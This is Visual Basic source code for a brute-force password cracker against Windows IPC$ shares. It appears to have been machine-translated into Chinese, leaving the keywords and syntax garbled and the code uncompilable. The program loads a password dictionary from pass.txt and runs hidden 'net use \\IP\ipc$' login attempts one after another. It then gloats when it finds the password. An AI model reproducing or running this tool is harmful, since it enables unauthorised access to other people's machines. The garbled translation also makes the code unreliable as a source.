私有聲明子睡眠庫“kernel 32”(ByVal dw milliseconds壹樣長)
私有聲明函數GetTempPath Lib "kernel32 "別名" GetTempPathA "(ByVal nBufferLength為Long，ByVal lpBuffer為String)為Long
私有聲明函數GetTempFileName Lib "kernel32 "別名" GetTempFileName a "(ByVal lpszPath為字符串，ByVal lpPrefixString為字符串，ByVal wUnique為Long，ByVal lpTempFileName為字符串)為Long
Dim TempFilePath作為字符串
Dim Scan_Stop為布爾值
Private Sub Cmd_Crack_Click()
將I標註為整數
出錯時繼續下壹步
如果Txt_IP。Text = " "或Txt_User。Text = " "那麽
MsgBox "IP/賬號不能為空！"
出口接頭
如果…就會結束
掃描停止=假
Dim TempFilePath作為字符串
對於i = 0到Lst_Pass。列表計數- 1
多項活動
如果Scan_Stop，則退出
TempFilePath = GetTempName("IPC "，0)
shell " cmd . exe/c net use \ \ " & amp；Txt_IP。文本& amp" \ ipc $ " & amp" " " " " & amp_
第壹關。名單(壹)及" " " " " & amp"/user:" & amp；_
" " " " " & ampTxt_User。文本& amp" " " " " & amp" >& amp_
TempFilePath，vbHide
第壹關。ListIndex = i
睡眠300
隱藏的。清楚的
Dim inputdata作為字符串
昏暗自由
free =文件系統。自由文件
將輸入的TempFilePath作為#free打開
Do While Not EOF(免費)
線路輸入#自由，輸入數據
隱藏的。AddItem輸入數據
環
關閉#免費
如果Lst_Hidden。List(0) = "命令成功完成。"然後
MsgBox“哈哈！密碼是“&；第壹關。列表(I)，“提示”
Shell "net use \\" + Txt_IP。Text + " /del "，vbHide
轉到abc
如果…就會結束
Shell "net use \\" + Txt_IP。Text + " /del "，vbHide
接下來我
abc:
隱藏的。清楚的
殺死TempFilePath
打開TempFilePath以#free輸出
關閉#免費
末端接頭
私有Sub Cmd_Stop_Click()
掃描停止=真
末端接頭
私有Sub Cmd_Cls_Click()
Txt_IP。文本= " "
Txt_User。文本= " "
末端接頭
私有子窗體_Load()
出錯時繼續下壹步
如果Dir("pass.txt") = " "那麽
打開“pass.txt”作為#3輸出
關閉#3
MsgBox "警告！Pass.txt文件丟失或被重命名。軟件會自動生成Pass.txt文件，把妳的密碼字典寫入Pass.txt文件！”，vbCritical，“錯誤！”
其他
Dim inputdata作為字符串
打開“pass.txt”作為#2輸入
Do While Not EOF(2)
線路輸入#2，輸入數據
第壹關。AddItem輸入數據
環
關閉#2
如果…就會結束
末端接頭
私有函數GetTempName(lpPrefixString為String，wUnique為Long)為String
Dim TempFileName作為字符串* 256
Dim Ret As Long
Dim DriveName作為字符串
DriveName = GetTempPathStr
Ret = GetTempFileName(DriveName，lpPrefixString，wUnique，TempFileName)
GetTempName = Left$(臨時文件名，InStr(臨時文件名，Chr(0)) - 1)
結束功能
字符串形式的私有函數GetTempPathStr()
dim String As String * 255
GetTempPath Len(str)，str
GetTempPathStr = Trim(Replace(str，Chr(0)，""))
結束功能